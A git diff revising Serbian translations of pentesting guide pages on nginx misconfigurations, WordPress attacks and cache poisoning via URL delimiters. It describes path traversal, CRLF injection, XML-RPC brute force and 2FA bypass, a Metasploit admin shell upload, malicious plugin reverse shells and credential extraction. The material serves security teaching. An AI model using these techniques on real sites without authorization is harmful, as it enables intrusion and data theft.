+Kritična bezbednosna razmatranja proizilaze iz ove konfiguracije. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracionu datoteku smeštenu na `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi smanjiti ovaj rizik, ali i dalje može omogućiti nepredviđeni pristup drugim kritičnim datotekama, uključujući druge konfiguracione datoteke, logove pristupa, pa čak i enkriptovane akreditive korišćene za HTTP osnovnu autentifikaciju.
## Alias LFI Misconfiguration
-U konfiguracionim datotekama Nginx-a, neophodno je pažljivo ispitivanje "location" direktiva. Ranljivost poznata kao Local File Inclusion (LFI) može biti nenamerno uvedena kroz konfiguraciju koja podseća na sledeću:
+U konfiguracionim datotekama Nginx-a, neophodno je pažljivo pregledati "location" direktive. Ranljivost poznata kao Local File Inclusion (LFI) može biti nenamerno uvedena kroz konfiguraciju koja podseća na sledeću:
```
location /imgs {
alias /path/images/;
}
```
-Ova konfiguracija je podložna LFI napadima zbog toga što server interpretira zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van predviđene direktorijuma, što se efektivno rešava na `/path/images/../flag.txt`. Ova greška omogućava napadačima da preuzmu datoteke iz datotečnog sistema servera koje ne bi trebale biti dostupne putem veba.
+Ova konfiguracija je podložna LFI napadima zbog toga što server interpretira zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van predviđene direktorijuma, što se efektivno rešava u `/path/images/../flag.txt`. Ova greška omogućava napadačima da preuzmu datoteke sa serverovog fajl sistema koje ne bi trebale biti dostupne putem veba.
-Da bi se ublažila ova ranjivost, konfiguracija bi trebala biti prilagođena na:
+Da bi se ublažila ova ranjivost, konfiguracija bi trebala biti prilagođena da:
```
location /imgs/ {
alias /path/images/;
@@ -69,7 +69,7 @@ deny all;
>
> Regex može takođe biti ranjiv kao:
>
-> `location ~ /docs/([^/])? { … $1 … }` - Ranjiv
+> `location ~ /docs/([^/])? { … $1 … }` - Ranjiv
>
> `location ~ /docs/([^/\s])? { … $1 … }` - Nije ranjiv (proverava razmake)
>
@@ -81,7 +81,7 @@ location / {
return 302 https://example.com$uri;
}
```
-Karakteri \r (Carriage Return) i \n (Line Feed) označavaju nove linije u HTTP zahtevima, a njihovi URL-enkodirani oblici predstavljeni su kao `%0d%0a`. Uključivanje ovih karaktera u zahtev (npr., `http://localhost/%0d%0aDetectify:%20clrf`) na pogrešno konfigurisani server rezultira time da server izdaje novi header pod nazivom `Detectify`. To se dešava zato što $uri varijabla dekodira URL-enkodirane nove linije, što dovodi do neočekivanog headera u odgovoru:
+Karakteri \r (Carriage Return) i \n (Line Feed) označavaju karaktere novog reda u HTTP zahtevima, a njihovi URL-enkodirani oblici predstavljeni su kao `%0d%0a`. Uključivanje ovih karaktera u zahtev (npr., `http://localhost/%0d%0aDetectify:%20clrf`) na pogrešno konfigurisanoj serveru rezultira time da server izdaje novi header pod nazivom `Detectify`. To se dešava zato što $uri varijabla dekodira URL-enkodirane karaktere novog reda, što dovodi do neočekivanog headera u odgovoru:
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@@ -125,11 +125,11 @@ location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
```
-### Bilo koja promenljiva
+### Any variable
-Otkriveno je da **podaci koje unosi korisnik** mogu biti tretirani kao **Nginx promenljiva** pod određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno za verifikaciju. Ova anomalija je istaknuta u bezbednosnom izveštaju na HackerOne, koji se može pogledati [ovde](https://hackerone.com/reports/370094). Dalja istraga o poruci o grešci dovela je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove kodne baze](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), ukazujući na Server Side Includes (SSI) kao osnovni uzrok.
+Otkriveno je da **podaci koje unosi korisnik** mogu biti tretirani kao **Nginx varijabla** pod određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno za verifikaciju. Ova anomalija je istaknuta u bezbednosnom izveštaju na HackerOne, koji se može pogledati [ovde](https://hackerone.com/reports/370094). Dalja istraga o poruci greške dovela je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove kodne baze](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), ukazujući na Server Side Includes (SSI) kao osnovni uzrok.
-Da bi se **otkrila ova pogrešna konfiguracija**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja za testiranje štampanja promenljive:
+Da bi se **otkrila ova pogrešna konfiguracija**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja za testiranje štampanja varijable:
```bash
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
```
@@ -137,7 +137,7 @@ Skeneri za ovu pogrešnu konfiguraciju širom sistema otkrili su više instanci
## Čitanje sirovog odgovora backend-a
-Nginx nudi funkciju kroz `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja koja proizvodi backend, sa ciljem da sakrije interne poruke o greškama i zaglavlja. To se postiže tako što Nginx služi prilagođene stranice grešaka kao odgovor na greške backend-a. Međutim, izazovi se javljaju kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje backend-u onako kako je primljen, a sirovi odgovor backend-a se zatim direktno šalje klijentu bez intervencije Nginx-a.
+Nginx nudi funkciju putem `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja koja proizvodi backend, sa ciljem skrivanja internih poruka o greškama i zaglavlja. To se postiže tako što Nginx služi prilagođene stranice grešaka kao odgovor na greške backend-a. Međutim, izazovi se javljaju kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje backend-u onako kako je primljen, a sirovi odgovor backend-a se zatim direktno šalje klijentu bez intervencije Nginx-a.
Razmotrite primer scenarija koji uključuje uWSGI aplikaciju:
```python
@@ -153,22 +153,22 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
-- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Ova direktiva omogućava Nginxu da pruži prilagođeni odgovor za pozadinske odgovore sa status kodom većim od 300. Osigurava da, za naš primer uWSGI aplikacije, `500 Error` odgovor bude presretnut i obrađen od strane Nginxa.
+- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Ova direktiva omogućava Nginxu da poslužuje prilagođeni odgovor za pozadinske odgovore sa status kodom većim od 300. Osigurava da, za naš primer uWSGI aplikacije, `500 Error` odgovor bude presretnut i obrađen od strane Nginxa.
- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Kao što ime sugeriše, ova direktiva skriva određene HTTP zaglavlja od klijenta, poboljšavajući privatnost i sigurnost.
Kada se izvrši važeći `GET` zahtev, Nginx ga obrađuje normalno, vraćajući standardni odgovor o grešci bez otkrivanja bilo kakvih tajnih zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, što rezultira izlaganjem sirovih pozadinskih odgovora, uključujući tajna zaglavlja i poruke o grešci.
## merge_slashes postavljeno na off
-Podrazumevano, Nginxova **`merge_slashes` direktiva** je postavljena na **`on`**, što kompresuje više uzastopnih kose crte u URL-u u jednu kosu crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginxa, posebno onima koje su podložne napadima lokalnog uključivanja datoteka (LFI). Stručnjaci za bezbednost **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanjem, posebno kada Nginx deluje kao obrnuti proxy.
+Podrazumevano, Nginxova **`merge_slashes` direktiva** je postavljena na **`on`**, što kompresuje više uzastopnih kose crte u URL-u u jednu kose crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginxa, posebno onima koje su podložne napadima lokalnog uključivanja datoteka (LFI). Stručnjaci za bezbednost **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanjem, posebno kada Nginx deluje kao obrnuti proxy.
-Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosledi zahteve aplikaciji bez izmene strukture URL-a, čime se ne prikrivaju nikakvi osnovni problemi sa bezbednošću.
+Da bi se umanjili takvi rizici, preporučuje se da se **isključi `merge_slashes` direktiva** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosledi zahteve aplikaciji bez izmene strukture URL-a, čime se ne prikrivaju nikakvi osnovni problemi sa bezbednošću.
Za više informacija pogledajte [Danny Robinson i Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
### **Maclicious Response Headers**
-Kao što je prikazano u [**ovom izveštaju**](https://mizu.re/post/cors-playground), postoje određena zaglavlja koja, ako su prisutna u odgovoru sa veb servera, mogu promeniti ponašanje Nginx proxy-a. Možete ih proveriti [**u dokumentaciji**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
+Kao što je prikazano u [**ovoj analizi**](https://mizu.re/post/cors-playground), postoje određena zaglavlja koja, ako su prisutna u odgovoru sa web servera, menjaju ponašanje Nginx proxy-a. Možete ih proveriti [**u dokumentaciji**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
- `X-Accel-Redirect`: Ukazuje Nginxu da interno preusmeri zahtev na određenu lokaciju.
- `X-Accel-Buffering`: Kontroliše da li Nginx treba da kešira odgovor ili ne.
@@ -176,9 +176,9 @@ Kao što je prikazano u [**ovom izveštaju**](https://mizu.re/post/cors-playgrou
- `X-Accel-Expires`: Postavlja vreme isteka za odgovor kada se koristi X-Accel-Redirect.
- `X-Accel-Limit-Rate`: Ograničava brzinu prenosa za odgovore kada se koristi X-Accel-Redirect.
-Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interno **preusmeravanje** u Nginxu. Tako da imati Nginx konfiguraciju sa nečim poput **`root /`** i odgovorom sa veb servera sa **`X-Accel-Redirect: .env`** će nagnati Nginx da pošalje sadržaj **`/.env`** (Path Traversal).
+Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interno **preusmerenje** u Nginxu. Tako da, ako imate Nginx konfiguraciju sa nečim poput **`root /`** i odgovorom sa web servera sa **`X-Accel-Redirect: .env`**, Nginx će poslati sadržaj **`/.env`** (Path Traversal).
-### **Default Value in Map Directive**
+### **Podrazumevana vrednost u Map direktivi**
U **Nginx konfiguraciji**, `map` direktiva često igra ulogu u **kontroli autorizacije**. Uobičajena greška je neodređivanje **podrazumevane** vrednosti, što može dovesti do neovlašćenog pristupa. Na primer:
```yaml
@@ -213,7 +213,7 @@ Direktiva **`proxy_pass`** se koristi za preusmeravanje zahteva na druge servere
## proxy_set_header Upgrade & Connection
-Ako je nginx server konfigurisan da prosledi Upgrade i Connection zaglavlja, može se izvršiti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) za pristup zaštićenim/internim krajnjim tačkama.
+Ako je nginx server konfigurisan da prosledi Upgrade i Connection zaglavlja, može se izvesti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim krajnjim tačkama.
> [!CAUTION]
> Ova ranjivost bi omogućila napadaču da **uspostavi direktnu vezu sa `proxy_pass` krajnjom tačkom** (`http://backend:9999` u ovom slučaju) čiji sadržaj neće biti proveravan od strane nginx-a.
@@ -239,7 +239,7 @@ deny all;
}
```
> [!WARNING]
-> Imajte na umu da čak i ako je `proxy_pass` usmeren na određeni **put** kao što je `http://backend:9999/socket.io`, veza će biti uspostavljena sa `http://backend:9999`, tako da možete **kontaktirati bilo koji drugi put unutar tog internog krajnjeg tačke. Tako da nije važno da li je put specificiran u URL-u proxy_pass.**
+> Imajte na umu da čak i ako je `proxy_pass` usmeren na određeni **put** kao što je `http://backend:9999/socket.io`, veza će biti uspostavljena sa `http://backend:9999`, tako da možete **kontaktirati bilo koji drugi put unutar tog internog krajnjeg tačke. Tako da nije važno ako je put specificiran u URL-u proxy_pass.**
## Pokušajte sami
@@ -251,7 +251,7 @@ Detectify je kreirao GitHub repozitorijum gde možete koristiti Docker da postav
### [GIXY](https://github.com/yandex/gixy)
-Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy je da spreči bezbednosne pogrešne konfiguracije i automatizuje otkrivanje grešaka.
+Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy je sprečavanje sigurnosnih pogrešnih konfiguracija i automatizacija otkrivanja grešaka.
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index c04f30cce..b1c895c4a 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -5,7 +5,7 @@
## Osnovne informacije
- **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Datoteke tema se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Još jedna korisna adresa može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@@ -16,7 +16,7 @@
- `index.php`
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
-- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja nove WordPress stranice.
+- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja novog WordPress sajta.
- Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
@@ -62,13 +62,11 @@ curl https://victim.com/ | grep 'content="WordPress'
- JavaScript datoteke
-.png>)
-
### Preuzmi dodatke
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
-### Preuzmi teme
+### Preuzmi Teme
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@@ -79,9 +77,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Aktivna enumeracija
-### Pluginovi i teme
+### Plugin-i i Teme
-Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće vam potrebno da **aktivno Brute Force-ujete listu Pluginova i tema** (na sreću, postoje automatski alati koji sadrže ove liste).
+Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste otkrili sve njih, biće potrebno da **aktivno Brute Force-ujete listu Plugin-a i Tema** (na sreću, postoje automatski alati koji sadrže ove liste).
### Korisnici
@@ -101,9 +99,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
-Takođe napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
+Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
-- **Enumeracija korisničkog imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime prisutno ili ne**.
+- **Enumeracija korisničkih imena prilikom prijave**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime postojeće ili ne**.
### XML-RPC
@@ -168,13 +166,13 @@ Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se
```
-Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete isprobati nekoliko kredencijala u istom zahtevu:
+Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete pokušati nekoliko kredencijala u istom zahtevu:
**Obilaženje 2FA**
-Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da iskoristite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS ili skeniranje portova**
@@ -193,7 +191,7 @@ Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pri
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
-Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
+Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS.
**DDoS**
```markup
@@ -211,7 +209,7 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
-Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
+Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
@@ -239,14 +237,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Dobijanje pristupa prepisivanjem bita
-Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
+Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
-**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
+**Modifikovanje php iz teme koja se koristi (potrebne su admin kredencijali)**
Izgled → Urednik teme → 404 Šablon (s desne strane)
@@ -262,13 +260,13 @@ Možete koristiti:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
-da dobijete sesiju.
+to get a session.
## Plugin RCE
### PHP plugin
-Možda je moguće uploadovati .php fajlove kao plugin.\
+Možda će biti moguće uploadovati .php fajlove kao plugin.\
Kreirajte svoj php backdoor koristeći, na primer:
.png>)
@@ -293,34 +291,34 @@ Pristupite mu i videćete URL za izvršavanje reverse shell-a:
.png>)
-### Uploadovanje i aktiviranje malicioznog plugina
+### Uploading and activating malicious plugin
Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:
-1. **Akvizicija plugina**: Plugin se dobija iz izvora kao što je Exploit DB kao [**ovde**](https://www.exploit-db.com/exploits/36374).
-2. **Instalacija plugina**:
+1. **Plugin Acquisition**: Plugin se dobija iz izvora kao što je Exploit DB kao [**here**](https://www.exploit-db.com/exploits/36374).
+2. **Plugin Installation**:
- Idite na WordPress kontrolnu tablu, zatim idite na `Dashboard > Plugins > Upload Plugin`.
- Uploadujte zip fajl preuzetog plugina.
-3. **Aktivacija plugina**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
-4. **Eksploatacija**:
+3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
+4. **Exploitation**:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
-- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande, može se uspostaviti meterpreter sesija, što omogućava neovlašćen pristup sajtu.
-- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
+- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
+- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
-Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je eksploatacija ranjivosti na ovaj način ilegalna i neetična bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
+Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
-**Za detaljnije korake proverite:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
+**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
-## Od XSS do RCE
+## From XSS to RCE
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija proverite [**ovaj post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
-- _**Eskalacija privilegija:**_ Kreira korisnika u WordPress-u.
-- _**(RCE) Upload prilagođenog plugina (backdoor):**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
-- _**(RCE) Uređivanje ugrađenog plugina:**_ Uredite ugrađene plugine u WordPress-u.
-- _**(RCE) Uređivanje ugrađene teme:**_ Uredite ugrađene teme u WordPress-u.
-- _**(Prilagođeno) Prilagođeni eksploati:**_ Prilagođeni eksploati za treće strane WordPress plugine/teme.
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
+- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
+- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
+- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađene teme u WordPress-u.
+- _**(Custom) Custom Exploits:**_ Prilagođeni exploits za treće strane WordPress plugine/teme.
-## Post Eksploatacija
+## Post Exploitation
Izvucite korisnička imena i lozinke:
```bash
@@ -336,9 +334,9 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u [**ovom blog postu**](https://nowotarski.info/wordpress-nonce-authorization/).
-- **`wp_ajax`**
+- **`wp_ajax`**
-Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
+Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od svoje uloge).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
```php
@@ -368,7 +366,7 @@ $this->namespace, '/get/', array(
- **Direktan pristup php datoteci**
-Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće podložna eksploataciji od strane bilo kog korisnika.
+Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće podložna eksploataciji od strane bilo kog korisnika.
## WordPress zaštita
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 9a5a1ab9a..c9d2372aa 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -2,40 +2,41 @@
{{#include ../../banners/hacktricks-training.md}}
-Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na keš **zloupotrebljavajući razlike između keš proxy-a i web servera.**
+Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na keš **zloupotrebljavajući razlike između keš proksija i web servera.**
> [!NOTE]
-> Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao keš ključ, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitati dinamičku stranicu (koja može čuvati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa sajta napadača, na primer).
+> Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao keš ključ, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitati dinamičku stranicu (koja može sadržati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa sajta napadača, na primer).
## Delimiters
**URL delimiters** se razlikuju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters su:
-- **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css` → `/MyAccount`)
+- **Tačka i zarez**: Koristi se u Spring-u za matriks varijable (npr. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
+- **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css` → `/MyAccount`).
- **Null Byte**: Skraćuje putanje u OpenLiteSpeed (npr. `/MyAccount%00aaa` → `/MyAccount`).
-- **Newline Byte**: Razdvaja URL komponente u Nginx (npr. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
